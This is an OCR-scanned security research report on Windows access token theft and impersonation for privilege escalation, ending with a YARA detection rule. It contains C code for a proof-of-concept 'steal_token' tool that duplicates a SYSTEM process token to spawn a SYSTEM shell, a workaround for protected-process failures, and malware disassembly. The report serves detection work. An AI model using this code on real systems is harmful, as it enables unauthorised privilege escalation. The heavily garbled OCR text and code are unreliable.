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TECHNICAL ANALYSIS OF ACCESS TOKEN
THEFT AND MANIPULATION

INTRODUCTION

Privilege escalation is one of the primary tasks malware
must perform to be able to access Windows resources
that require higher privileges, perform privileged actions
(like executing privileged commands, etc.) on the system,
and move laterally inside the network to access and
infect other systems. Access token manipulation attacks
are massively adopted and executed by malware and
advanced persistent threats to gain higher privileges on
a system after the initial infection. These attacks are also
executed to perform privileged actions on behalf of other
users, which is known as Access Token Impersonation.
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When a user is authenticated to Windows, it creates
alogon session for the user and returns the user SID
(Security Identifier) and SID of the groups to which the
user belongs, which is eventually used to control access
to various system resources. Local Security Authority
(LSA) creates the access token for the user. This
access token is primarily a kernel object that describes
the security context of the process or the thread,

as described here. Subsequently, all the processes
started in the context of the current logged-on user will
inherit the same access token. An access token has the
information about the current user SID, SID of the user
group, privileges enabled for the user, Token Integrity
level, Token type (Primary or Impersonation token), etc.
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Below is an example of some of the information contained in a user’s access
token.

[JSER INFORMATION

eskt.)p—rqSEal._"‘- §-1-5-21-1993893635-1996360868-1597

Everyone Well-known gro
NT AUTHORITY\Local account and member of Administrators group Well-known group
PUILTIN\Administrators Alias
BUILTIN\Remote Desktop Users Alias
BUILTIN\Users Alias

PRIVILEGES INFORMATION
Privilege Name Description

peShutdownPrivilege
FeChangeNotifyPrivilege
BeUndockPrivilege

Shut down the system
Bypass traverse checking

Remove computer from docking station Disabled

When the user attempts to access the securable object, or makes an
attempt to perform a privileged task, the access token is checked against
the respective object’s Discretionary Access Control List (DACL) or System
Access Control List (SACL). The attributes set for the user’s or a group’s
SID in the access token determines the level of access for the user or group.
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However, apart from the standard user accounts, Windows typically

has many other user accounts under which the processes and services
execute, like SYSTEM account, Administrators account, service accounts,
etc. If the malware infects the machine and runs under the lower privileged
administrator account or any other lower privileged account, it will need to
elevate is privileges further to be able to perform meaningful actions and
do lateral movement. Hence, to be able to run with the elevated privileges,
the malware would attempt to change the security context of the calling
process by using Windows inbuilt functionality or impersonate the security
context of the process running with higher privileges. By default, a process
running as a SYSTEM will have the highest level of privileges.

If malware running with the lower privileges steals the token of the process
running with the higher privileges or SYSTEM by abusing Windows
functionality and spawns the process with the stolen access token, then a
resulting created process will have SYSTEM level privileges as well, helping
it to advance its further lateral movement activities. However, attacker will
have to bypass UAC to be able to further execute this attack.

In the following sections, we will attempt to outline how this task is
accomplished by malware authors, leading to the escalated privileges
on the system. We will also discuss how we can detect access token
manipulation attacks on the endpoint.


https://docs.microsoft.com/en-us/windows/win32/secauthz/securable-objects
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ACCESS TOKEN CREATION AND USER ACCOUNT CONTROL The structure of the access token in the kernel is as seen below. It has many
useful pieces of information like token type, privileges assigned to the
token, impersonation level, user, and primary group info, etc.

As a fundamental aspect of the User Account Control (UAC) in Windows,
standard users as well as those who are a part of the administrator’s group,

access system resources in the context of standard users. When a user @: kd> dt nt!_TOKEN
. .. 3 . +8x388 TokenSource i TOKEN SOURCE
who is a part of the administrator’s group logs on to the system, multiple [ +@x010 Tokenld I |
access tokens are granted to the user by the Local Security Authority E"g;: :““‘E::;g:;:““’ : -tﬁig
b aren ey
(LSA): arestricted access token or a filtered token which is the stripped- +0x028 ExpirationTime : _LARGE_INTEGER
. . .. .. +a8x838 TokenLock : Ptr64 _ERESOURCE
down SID with limited privileges, and an administrator or elevated access +8x038 Modifiedld I Ll
token which can be used to perform administrative or privileged tasks. [ +exeae privileges : _SEP_TOKEN_PRIVILEGES |
L. Lo . +8x858 AuditPolicy :  SEP AUDIT POLICY
Any user-initiated process will inherit the standard access token from [ +exe78 sessionid : uintaB |
. . . +8x87¢c UserAndGroupCount : Uint4B
explorer.exe which starts when the user first authenticates to the system. +0x080 RestrictedSidCount : Uint4d
. D +8x884 VariableLength : Uint4B
Users belon.glng 'Fo the Ioc:f\l adm.lnlstrator group can run all apps and +@x083 DynomicCharged - Uintas enum TOKEN_TYPE
perform actions like browsing using the standard access token. If the +8x088c DynamicAvailable : vintas
. . . + r = UintA
administrative or standard user attempts to access any secured object +0x098 UserAndGroups  : Ptr64 SID AND ATTRIBUTES
. F . +8x8a8 RestrictedsSids : Ptré4 _SID AND ATTRIBUTES
or intends to execute any privileged tasks, they will be prompted for e E T S oh s L]
consent or credentials respectively, after which they can use the elevated +8x8b@ DynamicPart : Ptr64 Uint4s
. . . . +8x0b8 DefaultDacl : Prre4  ACL
token. High level flow of access token creation, as described by Microsoft +8xBc@ TokenType : _TOKEN_TYPE

+8x@c4 ImpersonationLevel : _SECURITY_ IMPERSONATION LEVEL

documentation, can be visualized as below:

+axBcE TokenFIags + UintdE
+ax8cc TokenInUse : UChar
‘ ‘ +0x@de Integritylevellndex : Uint4B

& EE—— — > +Ax8d4 MandatoryPolicy : Uint4B
Authenticates <  — +8x8d8 LogonSession : Ptr64 _SEP_LOG
+8xee@ OriginatingLogonSession : _LUID
l SAM database e SiMah _SID_AND_ATTR
+8x1f8 RestrictedSidHash : _SID_AND_ATT

+8x3088 psSecurityAttributes : Ptrbd _AUTH
+8x318 Package : Ptré4 Void i
+8x318 Capabilities : Ptred4 _SID _ANDTH
+8x320 CapabilityCount : Uinta4B

+8x328 CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH

+8x438 LowboxNumberEntry : Ptréd _SEP_LOWBOX_NUMBER_ENTRY
+8x448 LowboxHandlesEntry : Ptréd4 _SEP_CACHED HANDLES ENTRY

NO User part of YES
administrator group?

Assign the standard Assign the standard user +0x448 pClaimAttributes : Ptr64 _AUTHZBASEP _CLAIM_ATTRIBUTES_COLLECTION
user access token and administrator access +8x458 Trustlevelsid : Ptrod void
to explore.exe token to explore.exe +0x458 TrustLinkedToken : Ptr64 _TOKEN
+8x468 IntegritylLevelSidvalue : Ptré4 Void
+8x468 TokenSidvalues : Ptred4 _SEP_SID VALUES_BLOCK
+8x478 IndexEntry : Ptr64 _SEP_LUID_TO_INDEX_MAP_ENTRY
Ask for admin credentials Ask for the consent +0x478 DiagnosticInfo : Ptr64 _SEP_TOKEN_DIAG_TRACK ENTRY
if the user performs if the user performs +8x488 BnolsolationHandlesEntry : Ptr64 _SEP_CACHED_HANDLES_ENTRY
privileged tasks privileged tasks +0x488 SessionObject : Ptré64 Void
+8x49@ VariablePart : Uint3B
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https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
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As we notice the above token structure in the kernel, some of the
important and relevant structures are the SEP_TOKEN_PRIVILEGES array
which describes the privileges assigned to the access token depending
upon the token elevation type, TOKEN_TYPE which is either primary

or impersonation token, describing the security context of the user
associated with the process, and SECURITY_IMPERSONATION_LEVEL
containing the constants, describing the impersonation level, which is the
ability of the calling process to impersonate the security context of the

target process. The definition of SECURITY_IMPERSONATION_LEVEL
constants can be found in the MS docs. The following figure helps with
visualizing the populated token structure details in WinDbg, highlighting
the differences when the process is started as a standard user belonging to
the administrator group, with and without an elevated token. We can clearly
notice the difference in the token elevation type, respective privileges
assigned to the token, and the process integrity level.

SER INFORMATION

ser Name SID

desktop-37gnpop\shahc S-1-5-21-60257761-877231443-2756432770-1001

15 5-1-5-64-36
attributes - Mandatory Default Enabled
Primary Group: S-1-5-21-6825F761-877231443-2756432778-1881

Privs:
OF GushEeddsll SeshutdownPrivilege Attributes -
@1 Bxdfaoeall? SeChangeNotifyPrivilege Attributes - Enmabled
a2 Audeandddld SelndockPrivilege Attribules

Token structure of 01 Bwd0aeess21 SelncreasekorkdngSetPrivilege Artributes -
84 Qudfaoeesi2 Selimelonefrivilege Attributes -

a process started Auth TD: 8:168ehS

.. Impersonation Level: Anonymous Limited privileges
as alow pr|V|Ieged lokenType: Primary
administrative En;:;:;:;::d ;ul:en. o, TokenElevationTypelimited = 3

Elevation T 3 (Limit d)l-“ml g a :

H vation Type: mite e a _

user (No elevation i itory policy: Toen nanpatony BOLTEY VETTR AGE Sdmimistrative
P drabieg

Tntegrity Level: S-1-16-8183 Eros

prompt) Attributes - Grouplnteglity GroupIntegrityEnabled
Process Trust Lewvel: Lo id failed to dump Sid at adde SOSSET
5-1-8

ATEPButes - Integrity Level : 5-1-16-8192 - Medium Integrity

Token Virtualized: Disabled

UTACcess: @

1sapplontainer: @

Security Attributes Information:

aR Attribute Name: TSA://Proclingque
value Type : TOREN SECURITY ATTRIBUTE TYPE_UINTEA
Valua[@] HL |
value[1] 418097820

Device Groups:

15 5-1-5-B4-36
Attributes - Mandetory Default Cnabled
Primary Growp: 5-1-5-21-G8257761-B77231443-2756432770-1081

Privs:

98 BxEeERBeEes SelncreaseQuotaPrivilege nrtributas -

&1 EoBaanbeas SesecurityPrivilege nrtributes -

a2 ddannadd SeTakedwnershipPrivilege Attributes

@3 Aoddanpoada SeloadbriverPrivilege Attributos

84 EBaapdiadh SeSystemirofilePrivileps Attributes Token structure of
95 Gxiaapadiac SesystemtinePrivilege Attributes

26 axdaaopdodd SefrotileSingleProcessPrivilege Attributes

a process started
87 Edoopeooge SeincreasefasePrioritypPrivilege  nttributes

98 moBoaobigef SeCreateFagefileprivilegs nttributes th tan r
B9 Exdoaenedll SefackupPrivilege nrtributes as esla da d
18 Ax@aEapE1? Sedestoralrivilege artributos i

11 Bxddasned] 3 SeshutdownPrivilepe attributes - user belonglng
12 Gwdacosddld SelebugPrivilege Attributes - ini

13 Gudaaopadls SeoSystemEnvironnentPrivilege Attributes - to admlnIStrator
14 Ax2a0000817 SeChangelotityPrivilege Attributes -|Enabled Dedaull rou With

15 @oPoobidls SefdemoteShutdownPrivilegs nttributes - g P,

16 Ex@eaenegls SeUndockPrivilege artributes - f

17 AxdaEapElc SeManapavolimebrivilege artributes - elevatlon prompt
18 Bxddapiisnd Selnpersonatefrivi lege Attributes -|Enabled Default ” .

10 ExBEEBENE e Seireatellohal Privilege Attributes -|Ensblad Default eventually using
20 Axdaandaan]l SelncressedorkingSelPrivilepe Attribules -

21 Gx2G0000022 SeTimeZonePrivilege Btiribubes - elevated token

22 E300ene023 SelreateSynbolicLinkPrivilege attributes -
23 doopnd2d SeDelegatesessionlserImpersonatePrivilege  Attpibutes -
Full Priﬁ;ge:

Impersanation Level: Anonymous
TakenTypa: Primary
Is restricted token: no.

SandBoxInert: @ Tokenklevation Typefull = 2 - Type 2 is an elevated
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S Ty T token with no privileges remeved or groups disabled

Mandatery Pollcy: TOKEW MANDATORY POLICY_NO_WRITE LS
Integrity Level: 5-1-16-12200 Integrity Lewvel : 5-1-16-122488 - High Integrity

ATEributes - GroupIntegrity GroupIntegrityEnablsd



https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-security_impersonation_level
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4688
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_privileges
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We notice that some of the privileges assigned to the user are enabled by Below is a visualization of the path followed by malware to execute token
default, while other privileges must be explicitly enabled. Malicious code would manipulation attacks.

usually try to steal the token of the SYSTEM level process, impersonating

its security context, eventually leading to the process running with elevated
privileges. During this process it would also enable the SE_DEBUG_NAME
(SeDebugPrivilege) which is required to access the memory of the process
running under another user context. In the following section, we will see how
this activity is performed by malware using Windows functionality.

OpenProcess—Open the
process with the specified PID.
DWORD dwDesiredAccess,
BOOL binheritHandle,
DWORD dwProcessld

OpenProcessToken—Opens
the process access token for
specified PID.

HANDLE ProcessHandle,
DWORD DesiredAccess,
PHANDLE TokenHandle

ACCESS TOKEN MANIPULATION

Malware can use multiple methods to achieve token manipulation resulting

n pr|V|Iege escalation: DuplicateTokenEx—Creates the new token duplicating the

existing token.
= Duplicating the token and assigning it to a running thread: Once the HANDLE hExistingToken,

. L. ) DWORD dwDesiredAccess,
required privileges on the calling process are enabled, malware would LPSECURITY_ATTRIBUTES IpTokenAttributes,
attempt to open the process running with higher privileges, acquire the

SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,

7

access token of the process, and duplicate it using DuplicateTokenEx.

It takes one of the SECURITY_IMPERSONATION_LEVEL constants as

its argument, which would usually be “Securitylmpersonation,” to
impersonate the security context of another process on the local system,
and subsequently use SetThreadToken Windows API to assign the
impersonated token to the current running thread. Consequently, the
calling thread will resume with the security context of the other process.

Starting a new process with the impersonation token:

Here again, after using DuplicateTokenEx, malware could use
CreateProcesswithToken, to launch another process with the duplicated
token, eventually resulting in the new process running in the security
context of the specified token. The calling process must have
SelmpersonatePrivilege which is enabled by default for processes
running under the context of elevated local administrator.

lseManageVolumePrivilege Pertorm volume maintenance tasks Disabled
eImpersonatePrivilege Impersonate a client after authentication Enabledl
SeCreateGlobalPrivilege Create global objects Enabled
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TOKEN_TYPE

PHANDLE

SetTokenlInformation—Sets
various types of information for a
specified access token.

HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS
TokenInformationClass,

LPVOID TokenlInformation,
DWORD TokenInformationLength

SetThreadToken—Assigns an
impersonation token to a thread.
PHANDLE Thread,
HANDLE Token

ResumeThread—Resumes the
execution of the suspended
thread.

TokenType,
phNewToken

ImpersonateLoggedOnuser—
Lets the calling thread
impersonate the security
context of a logged-on user.
HANDLE hToken

CreateProcessAsUserW—
New process runs in the security
context of the user represented
by the specified token.

HANDLE hToken,

LPCSTR IpApplicationName,

CreateProcessWithTokenW—
New process runs in the security

context of the specified token.
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LOOKING AT THE CODE: TECHNIQUE 1:
CREATEPROCESSWITHTOKENN

Looking at the code below, there are a few things that must be done to be
able to spawn the process with SYSTEM privileges.

= To be able to access/read another process’s memory, the calling process
must have “SeDebugPrivilege.” Users in the administrator group have
this privilege disabled by default. Calling OpenProcessToken on the
current process would return the token handle of the calling process,
following which LookupPrivilegeValue with “SE_DEBUG_NAME” returns
the LUID of the specified privilege. This will be returned in the TOKEN_
PRIVILEGES structure.

= Next, we specify SE_PRIVILEGE_ENABLED in the TOKEN_PRIVILEGE
structure attributes field to indicate that the privilege specified in the
LUID needs to be enabled. Calling AdjustTokenPrivileges with the
handle acquired from OpenProcessToken and structure will get this
privilege enabled on the calling process.

= Next, we call OpenProcess with the PID of the SYSTEM level process
specified on the command line and with the returned process handle
and execute OpenProcessToken to acquire the handle to the process’s
primary token. To be able to successfully duplicate the token in the next
call to DuplicateTokenEXx, we need an access token with TOKEN_QUERY
and TOKEN_DUPLICATE permissions.

= Before calling DuplicateTokenEx, we set SECURITY IMPERSONATION

TOKEN_PRIVILEGES Privioken;
BOOL hResult = NULL;
HANDLE hToken NULL;

ZeraMemory (EPrivToken, sizeof(Privicken));

privToken.Privilegetount = 1;

OpenProcessToken{GetCurrentProcess (), TOKEN_ALL_ACCESS, RhToken);
LookupPrivilegevalueW(NULL, SC_DEBUG_NAME, &PrivToken.Privileges(@8].Luid):

PrivToken.Privileges[8].Attributes - SE_PRIVILEGE ENABLED:
bResult - AdjustTokenPrivileges(hToken, FALSE, RPrivTaken, 8, NULL, NULL};
if [GetlastFrear() =-- FRROR_SUCCFSS)
i
_tprintf(L"[ + ] SeDebugPrivilege enabled for current process.\n™);

¥

HANDLE hProcess,hPrimaryToken - WULL;

int pid = atol{argv([i]};

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
OpenProcessToken{hProcess, TOKEN_QUERY | TOKEM_DUPLTCATE, BhPrimaryToken);

HAMDLE hDupToken NULL;

BOOL bDupTokenResult, ProcWithToken = MULL:

SECURLTY_IMPERSOMATION _LEVEL SecImplevel = SecurityImpersonation;

TOEEN_TYPE TokenType - TokenPrimary;

biupTokenResult = DuplicateTokenEx(hBrimaryToken, MAXTMUM ALLDWED, NULL, SecTmplevel, TokenType, BhDupToken);

STARTUPINFO StartupInfo - {}:
PROCESS_INFORMATION ProcInfo = {}:
ProcWithToken - CreateProcessWithTokenW({hDupToken, 8, |"C:\\Windows\\system3i2\\cmd.axe™, NULL, CREATF_NFW_CONSOLE, MULL, NULIL,

= This new token can now be used with CreateProcessWithTokenW, along
with the executable name and the PROCESS_INFORMATION structure, to
start a new process as a SYSTEM user.

Malware often attempts to set the session ID of the new process/thread to
the same as the target process using SetTokenInformation to impersonate
the user processes running from interactive logon. As shown below, the
resulting new process created is running in the security context of the
SYSTEM user.

k- \Users\shahc\Desktop>whoami /user

PSER. INFOEMATION

©9.8.19041.746]

LEVEL, which is an enumerator to “Securitylmpersonation” and TOKEN
TYPE enumerator to “TokenPrimary.” This will allow the security context
of the target process to be impersonated, which most malware of this
type also does. With this, DuplicateTokenEx is called, returning the
handle to the duplicated token.
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lesktop ZE'?-:|n[--J|-\':]'.-1?|-:'.|:3. 1-5-21-60257761-877231443-275(c) 2026 Microsoft Corporation. All rights reserved.

€ \WINDOWS\system32»whoaml Sfuser

:\Users\shahc\Desktop>steal token.exe H88
USER INFORMATION
AdjustTokenPrivileges: Success
SeDebugPrivilege enabled for current process.
Success ( PID 188 )

cess | PID 888 )
DuplicateTokenEx: cess ( PID 888 )
CreateProcessWithTokenW: Success

|m authority\system 5-1-5-18 ]

CoAWINDOWS \system32»



https://docs.microsoft.com/en-us/windows/desktop/SecGloss/l-gly
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-security_impersonation_level
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-security_impersonation_level
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_type
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_type
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Following is a malware code snippet (dubbed RottonPotato:
A9FD8100AASEF47E68B2F084562AFDEO) using the same technique to
start the process with a stolen access token:

LOOKING AT THE CODE: TECHNIQUE 2:
IMPERSONATELOGGEDONUSER

= As shown in the code below, we call GetUserName just after calling the
OpenProcessToken to check the user security context under which the

process is running. As highlighted in Technique 1, OpenProcessToken is

called with the PID of the SYSTEM level process.

OpenProcessToken(hProcess, TOKEN QUERY | TOKEN DUPLICATE, &hPrimaryToken);

GetUserName( (TCHAR®*)username, &username_length);
_tprintf(L"[ + ] Current User: ¥s\n", username);

if (!ImpersonateloggedOnUser(hPrimaryToken))

{

return FALSE;

TCHAR Imp username[UNLEN + 1];

DWORD Impusername_length = UNLEN + 1;
GetUserName ( (TCHAR®) Imp_username, &Impusername_length);
_tprintf(L"[ + ] Current User: ¥s\n", Imp_username);
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= Next, we call ImpersonateLoggedOnUser with the primary

or impersonation token handle derived with the previous API.
ImpersonateLoggedOnUser allows the calling thread to impersonate
the security context of the current logged in user which is specified by
the access token handle passed to it, after which GetUserName is called
again to check the security context. As we see below, the context of the
calling thread is changed to a SYSTEM level process.

lc: \Users\shahc\Desktop>whoami /user

Y

LOOKING AT THE CODE: TECHNIQUE 3: CREATEPROCESSASUSER

= Here, we call CreateProcessAsUser with one of the arguments as a

handle of the token acquired after calling DuplicateTokenEx. The new
process to be created is also passed as an argument to the call which will
subsequently run in the security context of the user represented by the
token handle.

= To be able to create the process with the specified token handle, the

calling process must have SE_ASSIGNPRIMARYTOKEN_NAME as
shown here.

Privilege Name Description State

SebssignPrimaryTokenPrivilege Replace a process level token Disabled
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Below is the output after calling CreateProcessAsUser, subsequently LOOKING AT THE CODE: TECHNIQUE 4: SETTHREADTOKEN
creating the process with system level privileges. RESUMETHREAD
*\Users\Chintan\Desktop>steal token.exe 636 = |n the below malware code, GetTokenlnformation is called to acquire
[ + ] AdjustTokenPrivileges: Success the TokenSessionlD for the terminal services. Once the process access
: N épfﬁ';”ﬁf:;*lfji‘L‘jb{eﬁTé‘" ;:!—;FT'L proess token is duplicated, TokenSessionlD is set on the duplicated token using
[ 1] Duplicaterokentx: Success ( PID - 636 ) SetTokenInformation.
+ CreateProcesshslser: Success

= Subsequently, athread is created in suspended mode and a
new impersonated token is assigned to the created thread with
File Options View SetThreadToken and then the suspended thread is resumed, calling

s Performance App hi Startup Users Details Services

ResumeThread, which executes in the security context of the user
represented by the impersonated token.

=0 {0 ey Vi

Below is the code snippet from a malware implementing the same user
impersonation technique.

mow By, 3 dwMilliseconds
call cs:__imp_Sleep

mow ecx, ; Ix

call _ acrt_iob_func

mow rExX, rax ; Stream

call fflush

jmp loc_148082968

; CODE XREF: sub_148002688+7321]
; sub_146802688+7381]

lea rax, [rbp+ +var_348]

mow [rsp+ +var_428], rax ; lpProcessInformation

lea rax, [rbp+ +Startuplnfo]

mow [rsp+ +var_428], rax ; 1lpStartupInfo

lea rax, CurrentDirectory

mow [rsp+ +1pProcessInformation], rax ; lpCurrentDirectory
mow [rsp+ +1pStartupInfo], rld ; lpEnvironmemt

mow ptr [rsp+ R

mow d ptr [rsp+

mow gword ptr [rsp+ +dwCreationFlags], rl4 ; lpThreadAttributes
xor ro9d, rod ; lpProcessAttributes

lea r8, [rbp+ +Commandline] ; lpCommandLine

WO rdx, rle ; lpApplicationMame

mow rex, cs:hToken ; hToken

call cs:CreateProcessAsUserd

mow ebx, eax

test eax, eax
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OTHER SYSTEM LEVEL PROCESSES

We checked out many other running SYSTEM level processes running and
were able to acquire and impersonate access tokens from some of them,
such as Isass.exe, winlogon.exe, googlecrashhandler.exe, and svchost.exe.
However, as shown in the following output, acquiring access tokens from
many of them failed owing to the security settings and read permissions for
these processes.

F:\Users\Chintan\Desktop>steal token.exe 536
Csrss.exe
+ ] AdjustTokenPrivileges: Success
[ + ] SeDebugPrivilege enabled for current process.
+ ] OpenProcess failed

Error Code: 5

r:\Users\Chintan\Desktop>steal token.exe 3168

dilhost.exe
AdjustTokenPrivileges: Success
SeDebugPrivilege enabled for current process.
OpenProcess: Success ( PID - 3160 )
OpenProcessToken for PID - 3168: failed - Error Code: 5

Fﬂr—rﬂ—ﬁ
+ + + +
el bl b el

£:\Users\Chintan\Desktop>steal token.exe 632

+ ] AdjustTokenPrivileges: Success SEWICES SR

[ + ] SeDebugPrivilege enabled for current process.
+ ] OpenProcess failed

Error Code: 5

c:\Users\Chintan\Desktop>steal_ token.exe 2852
AdjustTokenPrivileges: Success SDOCHSV'EKE
SeDebugPrivilege enabled for current process.
OpenProcess: Success ( PID - 2852 )

OpenProcessToken for PID 2052: failed

+ + + 4+

,_,,_,_”_,
[ T -

Error Code: 5
r:\Users\Chintan'\Desktop>steal token.exe 3848

AdjustTokenPrivileges: Success searchindexer.exe
SeDebugPrivilege enabled for current process.
OpenProcess: Success ( PID - 3848 )

OpenProcessToken for PID - 3848: failed - Error Code: 5

Fﬂr—rﬂ—ﬁ
+ + + +
el bl b el
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We see multiple forms of failures in the above output. Oneis the
OpenProcess call failure and the other is OpenProcessToken call failure on
the SYSTEM level processes. We wanted to further investigate these failures
and check if there are any differences in the security settings and access
permissions for these processes. While investigating the OpenProcess API
failure on the passed PID, we found it was due to the protection settings of
these SYSTEM level processes. More details about the access rights on

the protected processes have been documented on MS docs. In summary,
protected processes prevent several malicious activities from malware or
non-protected processes which involve manipulating process objects like
code injection, obtaining a handle to the protected process, debugging a
running protected process, accessing memory, impersonating, or duplicating
a handle from a protected process, injecting a thread into it, etc. Below are the
protection settings for processes with OpenProcess failure and OpenProcess
success when looked at through Sysinternal’s Process Explorer. We see

that csrss.exe is protected with PsProtectedSignerWinTcb-Light and on
accessing permissions settings, it throws a process open error.



https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

REPORT

This is also indicated in the OpenProcess docs as well. Parameters

This parameter ca

Many of the other processes were found to be protected with the same or
other protections.

30K 534 NTAUTHORITYISYSTEM

e DELETE
Digging into this a bit further and came across very interesting behavior READ_CONTROL

which is worth highlighting here. If we look at the OpenProcess call in the N,
code as shown below, PROCESS_QUERY_INFORMATION is passed as a

desired access.
e PROCESS_ALL_ACCESS

HANDLE hProcess = NULL; * PROCESS_CREATE_PROCESS
int pid = atoi(argv[1]); » PROCESS_CREATE_THREAD

= PROCESS_DUP_HANDLE PROCESS_QUERY_INFORMATION not allowed
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid); * T PROCESS_QUERY_INFORMATION not allowec
E IhP . on the protected process. Instead we need to
if (!hProcess) « PROCESS SET INFORMATION use PROCESS_QUERY_LIMITED_INFORMATION
{ . . ) . o PROCESS_SET_QUOTA

_tprintf(L"[ + ] OpenProcess failed - Error Code: %d\n", GetLastError()) « PROCESS VM OPERATION
return FALSE; « PROCESS_VM_READ

} e PROCESS_VM_WRITE

The] PROCESS QUERY LIMITED INFORMATIONJright oduced to provid to a subset of the informe

through PROCESS_QUERY_INFORMATION.

APl documentation here mentions PROCESS_QUERY_INFORMATION
from a process to the protected process isn’t allowed and we need to use
PROCESS_QUERY_LIMITED_INFORMATION in the OpenProcess call if we
need to acquire a handle to the protected process
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Further, | modified the code to use the PROCESS_QUERY_LIMITED_
INFORMATION while opening a handle to the protected process:

HANDLE hProcess = NULL;
int pid = atoi(a [11);

hProcess = OpenProcess(PROCESS_QUERY_LIMITED INFORMATION, TRUE, pid);
if (!hProcess)
r

iy

_tprintf(L"[ + ]
return FALSE;

OpenProcess failed - Error Code: %d\n", GetLastError());

and | was able to successfully open the process, steal token and start a new
process with SYSTEM level privileges.

m-| svchostexe | 1.388K 1.820K 1228 NT AUTHORITY\LOCAL SERVIL...

[EB]csrss.exe 033 384 K 2584K 544 NT AUTHORITY\SYSTEM

ogleCrashHandler.exe 1372K 236K 5048 NT AUTHORI TEM

m-| svchostexe 1.368K 3564K 2488 NT AUTHORITY\NETWORK SE..

c:\Users\Chintan\Desktop>
c: \Users\Chintan\Desktop>whoami
esktop-rq55al2\chintan I

Administrator: ystem32\cmd.exe

Microsoft Windows [Version 10.0.18363.1316]

:\Users\Chintan\Desktop>steal_token.exe 544 (c) 2019 Microsoft Corporation. All rights reserw

&l

C: \WINDOWS\system32>whoami
pt authority\system |

+ ] AdjustTokenPrivileges: Success

+ ] SeDebugPrivilege enabled for current process.
+ ] OpenProcess: Success ( PID - 544 )

+ ] OpenProcessToken: Success ( PID - 544 )

+]

+ ]

\Us

C: \WINDOWS\system32>
DuplicateTokenEx: Success ( PID - 544 )

CreateProcessWithTokenl: Success
: \Users\Chintan\Desktop>

=TT
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While looking into OpenProcessToken call failure, we found few differences
between the access permissions of those processes. The below snapshot
highlights the differences in the permission settings for two different
processes: one with OpenProcessToken success and the other with
OpenProcessToken failure.

Principal:

OpenProcessToken failure

OpenProcessToken success
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Along with the above highlighted difference in the process permissions, COVERAGE
arelated Specterops blog here also highlights another major difference MITRE ATT&CK

between the access token ownership of these processes because of
which OpenProcessToken failed. Access token ownership relates to
the TOKEN_USER and TOKEN_OWNER and as we see below, both the
processes, Isass.exe with OpenProcessToken success and spoolsv.exe
with OpenProcessToken failure, had a different token owner.

MITRE ATT&CK maps “Access token manipulation” under privilege
escalation technique T1134 and has identified many high impact malware
attacks armed with lateral movement capabilities using process access
token impersonation attacks as shown below. Many of the recent APTs
have been using similar techniques as well.

Advanced Securit

Auditing

For additional information, dou

rited from

ne
5 (DESKTOP-RQ55A12\Administra... None

https://attack.mitre.org/techniques/T1134/

Searchindesx

Permission:

For additional information, double-click a permission entry. To modify a permission entry, select the entry and ¢

Permission entries:

Inherited from
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https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b
https://attack.mitre.org/techniques/T1134/
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The below simplified visualization maps the access token manipulation DETECTING ACCESS TOKEN MANIPULATION ATTACKS
techniques used by malware to stages of lateral movement and when they YARA RULE

are used during malware spreading activity. . . .
g P 9 y One of the ways to detect access token attacks is to monitor the Windows

APIs used. The following YARA rule can help with this detection.

LATERAL MOVEMENT

rule access_token_impersonation

Credential Privilege Target Gaining Resource Remote Code
Theft Escalation Discovery Access Execution {

meta:

Token Theft
T1134.001 [ Al N . .
mpersonation description =“Yara rule to detect process access token impersonation

author = “Chintan Shah”

Create Process
with Token date = “2021-01-29"

Create and

T1134.002

rule_version = “v1.1"

malware_family = “APT28/ FIN/ RottenPotato/Petya”

mitre_attack =“T1134.001 T1134.002 T1134.003"

strings:

$api1="OpenProcess”

$api2 = “OpenProcesstoken”

$api3 = “DuplicateTokenEx”

$apipath1_1="“CreateThread”

$apipath1_2 = “SetTokenInformation”

$apipath1_3 = “SetThreadToken”

$apipath1_4 = “ResumeThread”

$apipath2_1="“ImpersonateLoggedOnUser”

$apipath3_1 = “CreateProcessWithToken”

$apipath4_1 = “CreateProcessAsUser”

condition:

(all of ($api*) and all of ($apipath1_*)) or ( $api1 and $api2 and $apipath2_1) or ( all of ($api*) and $apipath3_1) or ( all
of ($api*) and $apipath4_1)

-
n
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CONCLUSION

Access token manipulation attacks help malware execute its lateral
movement activities by staying under the radar and evading many other
mitigations like User Account Control, file system restrictions and other
System Access Control Lists (SACLs). Since these attack techniques use
the inbuilt Windows security features and exploits known as Windows APls,
it is critical to monitor the malicious use of these APIs to generically detect
the malware using them. Since malware would usually target SYSTEM level
running processes for stealing tokens to gain elevated local privileges, it

is also a good security measure to monitor the API calls targeting these
processes.
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